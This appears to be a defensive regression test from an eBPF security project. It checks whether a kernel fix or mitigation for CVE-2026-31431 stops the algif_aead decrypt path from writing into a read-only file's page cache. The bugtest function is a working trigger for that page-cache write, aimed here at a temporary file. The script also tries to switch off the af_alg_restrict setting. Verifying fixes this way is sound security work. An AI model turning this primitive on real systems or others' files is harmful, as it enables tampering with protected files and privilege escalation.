Skip to content

eBPF-based security platform

3.6 KB
Raw Blame
#!/usr/bin/env python3
# SPDX-License-Identifier: GPL-2.0 OR BSD-2-Clause
# Copyright (c) 2026 Authors of shirudo
#
# CVE-2026-31431 test that the fix actually addresses issue.
#
# The algif_aead copy-failure path, on a failed decrypt, writes back into
# a source page it does not own. This splices a regular file's page cache
# through a pipe into an AF_ALG aead socket, triggers the failing decrypt,
# and then checks whether the page cache was corrupted. It prints exactly
# one word and exits 0:
#
#   BROKEN       the page cache was modified: the bugfix did not work 
#   SAFE         the decrypt failed and left the page cache intact
#   BLOCKED      the mitigation works AF_ALG socket was refused with EPERM
#   UNSUPPORTED  can not test the fix here the kernel does not support it.
#
# A mitigation that neutralises the bug without removing AF_ALG turns
# BROKEN into SAFE; the socket-blocking mitigation of this directory
# turns it into BLOCKED. Either way the page cache is no longer corrupted.

import os
import socket
import struct
import tempfile

AF_ALG = getattr(socket, "AF_ALG", 38)
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5
ALG_OP_DECRYPT = 0
MARKER = b"AAAA"


def authenc_key(authkey, enckey):
    # struct crypto_authenc_key_param wrapped in an rtattr, then the keys.
    param = struct.pack(">I", len(enckey))
    rta_len = 4 + len(param)
    rtattr = struct.pack("HH", rta_len, 1) + param
    rtattr += b"\x00" * ((-rta_len) % 4)
    return rtattr + authkey + enckey


def unrestrict():
    # Recent kernels gate AF_ALG aead names behind crypto.af_alg_restrict.
    try:
        with open("/proc/sys/crypto/af_alg_restrict", "w") as f:
            f.write("0")
    except OSError:
        pass


def bugtest(fd):
    alg = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
    with alg:
        alg.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
        alg.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 16)
        alg.setsockopt(SOL_ALG, ALG_SET_KEY,
                       authenc_key(b"\x00" * 32, b"\x00" * 16))
        op, _ = alg.accept()
        with op:
            r_pipe, w_pipe = os.pipe()
            try:
                os.splice(fd, w_pipe, 4096, offset_src=0)
                aad = b"\x00\x00\x00\x00" + MARKER + b"\x00" * 8
                op.sendmsg(
                    [aad],
                    [(SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)),
                     (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16),
                     (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", len(aad)))],
                    socket.MSG_MORE,
                )
                os.splice(r_pipe, op.fileno(), 32)
                try:
                    op.recv(4096)
                except OSError:
                    pass
            finally:
                os.close(r_pipe)
                os.close(w_pipe)


def probe():
    unrestrict()
    try:
        socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0).close()
    except PermissionError:
        return "BLOCKED"
    except OSError:
        return "UNSUPPORTED"
    with tempfile.NamedTemporaryFile() as tmp:
        tmp.write(b"\x00" * 4096)
        tmp.flush()
        fd = os.open(tmp.name, os.O_RDONLY)
        try:
            os.pread(fd, 4096, 0)
            try:
                bugtest(fd)
            except PermissionError:
                return "BLOCKED"
            except (OSError, AttributeError):
                return "UNSUPPORTED"
            return "BROKEN" if MARKER in os.pread(fd, 64, 0) else "SAFE"
        finally:
            os.close(fd)


if __name__ == "__main__":
    print(probe())